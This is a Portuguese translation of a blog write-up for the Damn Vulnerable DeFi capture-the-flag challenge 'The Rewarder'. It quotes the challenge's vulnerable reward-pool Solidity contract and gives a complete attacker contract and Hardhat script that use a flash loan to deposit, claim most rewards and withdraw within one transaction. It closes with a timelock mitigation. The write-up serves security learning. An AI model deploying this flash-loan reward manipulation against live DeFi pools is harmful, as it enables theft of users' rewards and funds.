WEB3DEV

Cover image for Desafios Damn Vulnerable DeFi: #5 The Rewarder
Panegali
Panegali

Posted on

Desafios Damn Vulnerable DeFi: #5 The Rewarder

Damn Vulnerable DeFi (Maldita DeFi Vulnerável) é uma série de jogos CTF (Capture the flag ou Capturar o sinalizador) onde o jogador deve encontrar uma vulnerabilidade para quebrar ou roubar um protocolo.

Esses jogos educativos são muito interessantes no sentido de que eles imitam aplicativos reais (flashloans, pool, yield, …), permitindo-nos aprender não apenas sobre segurança na web3, mas também o que é DeFi.

Link aqui: https://www.damnvulnerabledefi.xyz/index.html

Nesta série de artigos, apresentarei os desafios e suas soluções.

Se você é novo no Solidity, sugiro que primeiro verifique os desafios anteriores, pois às vezes eu passo rapidamente por alguns conceitos que já vimos antes.

#5 The Rewarder (O Recompensador)

Existe um pool que oferece recompensas em tokens a cada 5 dias para quem depositar seus tokens DVT nele. Alice, Bob, Charlie e David já depositaram alguns tokens DVT e ganharam suas recompensas!
Você não tem nenhum token DVT. Mas na próxima rodada, você deve reivindicar a maioria das recompensas para si mesmo.
Por falar nisso, correm rumores de que acaba de ser lançado um novo pool. Não está oferecendo empréstimos relâmpago de tokens DVT?

Descrição do protocolo

Em primeiro lugar, precisamos entender como o protocolo funciona . O protocolo é composto por 5 contratos principais:

  • DamnValuableToken.sol

    Este é o Token ERC20 da série de desafios: DVT. Este é um ERC20 muito simples, sem recursos adicionais. Na construção, o max(uint256) é cunhado para o msg.sender.

  • AccountingToken.sol

    Um token pseudo ERC20 limitado que mantém o controle do depósito e do saque com recursos de snapshot (ou “cópia instantânea” é o registro do estado de um arquivo, aplicação ou sistema em um certo ponto no tempo). Ele é chamado pelo contrato TheRewarderPool para tirar snapshot dos usuários e do pool quando alguém deposita/retira tokens DVT ou quando é hora de distribuir recompensas.

  • FlashLoanerPool.sol

    Um pool que oferece empréstimos relâmpago de DVT, possui 1 milhão de tokens na inicialização.

  • RewardToken.sol

    Token ERC20 dado aos usuários para recompensá-los pelo uso do pool. Depende de quanto eles depositaram no pool, em comparação com o valor total depositado.

  • TheRewarderPool.sol

    Um contrato em que os usuários podem depositar tokens DVT para ganhar tokens de recompensa, distribuídos a cada 5 dias (fixados pela constante RERWARD_ROUND_MIN_DURATION)

Em comparação com os desafios anteriores, este tem muito mais contratos! Não entrarei nos detalhes de cada contrato. As breves descrições devem fornecer detalhes suficientes para você entender a solução.

O contrato em que vamos focar é o último:

TheRewarderPool

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";

/**
 * @title TheRewarderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TheRewarderPool {

    // Duração mínima de cada rodada de recompensas em segundos
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

    uint256 public lastSnapshotIdForRewards;
    uint256 public lastRecordedSnapshotTimestamp;

    mapping(address => uint256) public lastRewardTimestamps;

    // Token depositado no pool pelos usuários
    DamnValuableToken public immutable liquidityToken;

    // Token utilizado para contabilidade interna e snapshot
    // Atrelada 1:1 com o token de liquidez
    AccountingToken public accToken;

    // Token em que as recompensas são emitidas
    RewardToken public immutable rewardToken;

    // Rastrear número de rodadas
    uint256 public roundNumber;

    constructor(address tokenAddress) {
        // Supondo que todos os três tokens tenham 18 casas decimais
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    /**
     * O remetente @notice deve ter aprovado os tokens de liquidez `amountToDeposit` com antecedência
     */
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Deve depositar tokens");

        accToken.mint(msg.sender, amountToDeposit);
        distributeRewards();

        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }

    function withdraw(uint256 amountToWithdraw) external {
        accToken.burn(msg.sender, amountToWithdraw);
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }

    function distributeRewards() public returns (uint256) {
        uint256 rewards = 0;

        if(isNewRewardsRound()) {
            _recordSnapshot();
        }        

        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

            if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;     
    }

    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }

    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }

    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}
Enter fullscreen mode Exit fullscreen mode

O que é importante observar neste contrato:

  • Geral — este é um pool ERC20, isso significa que as transferências não acionam a reentrância. Isso não significa que a reentrância não seja possível em outro lugar.
  • L3 — Solidity versão ^0.8.0 → verificação de overflow/underflow por padrão.
  • L16 — o tempo da rodada é codificado como uma constante de 5 dias.
  • L48 — ao depositar tokens usando a função deposit(…), os tokens contábeis são cunhados e, em seguida distributeRewards () é chamada.
  • L59 — o usuário pode retirar seu token quando quiser.
  • L64 — a função distributeRewards().
  • L65 — Primeiro inicializa a recompensa em zero.
  • L67 — Então, se 5 dias se passaram desde a última rodada de recompensa, ele tira um novo snapshot (caso contrário, mantém o último).
  • L71 — Depois disso, ele lê o depósito total e o valor depositado no snapshot e usa esses valores para calcular a recompensa.
  • L75 — A recompensa é simplesmente proporcional à porcentagem do próprio depósito em comparação com o depósito total.
  • L77 — Por fim, a função garante que um usuário não recupere a recompensa mais de uma vez, emite os tokens de recompensa para o usuário e atualiza seu registro de data e hora da última recompensa.

Devo dizer que não sei porque a função distributeRewards() é chamada durante o depósito, mas como a função é pública, qualquer um pode chamá-la para receber sua recompensa a cada 5 dias sem depositar novamente.

Então, se você seguir corretamente:

  1. As recompensas dependem de quantos tokens DVT são depositados no pool do snapshot (representado pelo token de contabilidade).
  2. A função depositcria tokens contábeis e, em seguida, chama a função distributeRewards() para distribuir as recompensas.
  3. A função de retirada pode ser chamada logo após isso… Você vê o truque?..

Solução

A ideia é simples: certifique-se de que 5 dias se passaram desde o último snapshot, faça um empréstimo relâmpago de DVT, deposite-os no pool, a recompensa é calculada com base em nosso depósito e, em seguida, retire diretamente o depósito para devolvê-lo ao pool de credores!

Vamos verificar minha solução aqui:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "hardhat/console.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";

interface IFlashLoanPool {
    function flashLoan(uint256 amount) external;
}

interface IRewarderPool {
    function deposit(uint256 amountToDeposit) external;
    function withdraw(uint256 amountToDeposit) external;
    function distributeRewards() external returns (uint256);
}

contract RewardAttacker {

    address owner;

    IFlashLoanPool flashLoanPool;
    IRewarderPool rewarderPool;
    IERC20 liquidityToken;
    IERC20 rewardToken;
    uint256 amount;

    constructor(
        address _flashLoanPool,
        address _rewarderPool,
        address _liquidityToken,
        address _rewardToken) {
        owner = msg.sender;
        flashLoanPool = IFlashLoanPool(_flashLoanPool);
        rewarderPool = IRewarderPool(_rewarderPool);
        liquidityToken = IERC20(_liquidityToken);
        rewardToken = IERC20(_rewardToken);

    }

    function attackRewardPool(uint256 loanAmount) external {
        amount = loanAmount;
        flashLoanPool.flashLoan(amount);
        amount = 0;
    }

    function receiveFlashLoan(uint256) external payable {
        bool success = liquidityToken.approve(address(rewarderPool), amount);
        require(success);
        rewarderPool.deposit(amount);
        rewardToken.transfer(owner, rewardToken.balanceOf(address(this)));
        rewarderPool.withdraw(amount);
        liquidityToken.transfer(address(flashLoanPool), amount);
    }
}
Enter fullscreen mode Exit fullscreen mode

O contrato de ataque é feito de 2 funções:

  • attackRewardPool(uint256 loanAmount), que é usado para chamar o pool de quem fez o empréstimo relâmpago.
  • receiveFlashLoan(uint256) external payable é a função chamada pelo pool de quem fez o empréstimo relâmpago para executar o empréstimo relâmpago com o valor solicitado (veja meu último artigo (com um âncora chique!) para entender como funciona).

Assim, chamando attackRewardPool, faço um empréstimo de uma quantia enorme, então o contrato do empréstimo relâmpago aciona minha função receiveFlashLoan, que:

  • L48–50 — deposita o empréstimo
  • L51 — obtém a recompensa
  • L52 — retira o depósito
  • L53 - e, finalmente, devolve para quem fez o empréstimo

Tudo isso feito em uma única transação.

Para concluir, vamos agora implementar isso no arquivo challenge.js escrevendo o seguinte na seção Exploit:

 it('Exploit', async function () {
        /** CODIFIQUE SEU EXPLOIT AQUI */
        const rewardAttackerFactory = await ethers.getContractFactory("RewardAttacker", attacker);
        this.rewardAttacker = await rewardAttackerFactory.deploy(
            this.flashLoanPool.address, this.rewarderPool.address,this.liquidityToken.address, this.rewardToken.address
            );
        let tokenInPool = await this.liquidityToken.balanceOf(this.flashLoanPool.address);
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
        await this.rewardAttacker.attackRewardPool(tokenInPool);
    });
Enter fullscreen mode Exit fullscreen mode

O exploit implanta meu contrato de ataque, verifica o valor máximo que posso obter do pool de empréstimos, deixa passar 5 dias e, em seguida, chama minha função attackRewardPool(...) para iniciar o ataque!

Etapas de mitigação recomendadas

Um simples intervalo de tempo entre o depósito e a retirada (timelock) pode impedir esse ataque. Como os empréstimos relâmpago exigem o empréstimo e a devolução em uma mesma transação, bloquear um depósito por um determinado período de tempo evita esse tipo de ataque.

Se você acha que estou perdendo alguma coisa, ficarei feliz em aprender com você!

Espero que tenham gostado deste artigo e até a próxima para um novo desafio.


Artigo escrito por Salah I. e traduzido por Marcelo Panegali.

Top comments (0)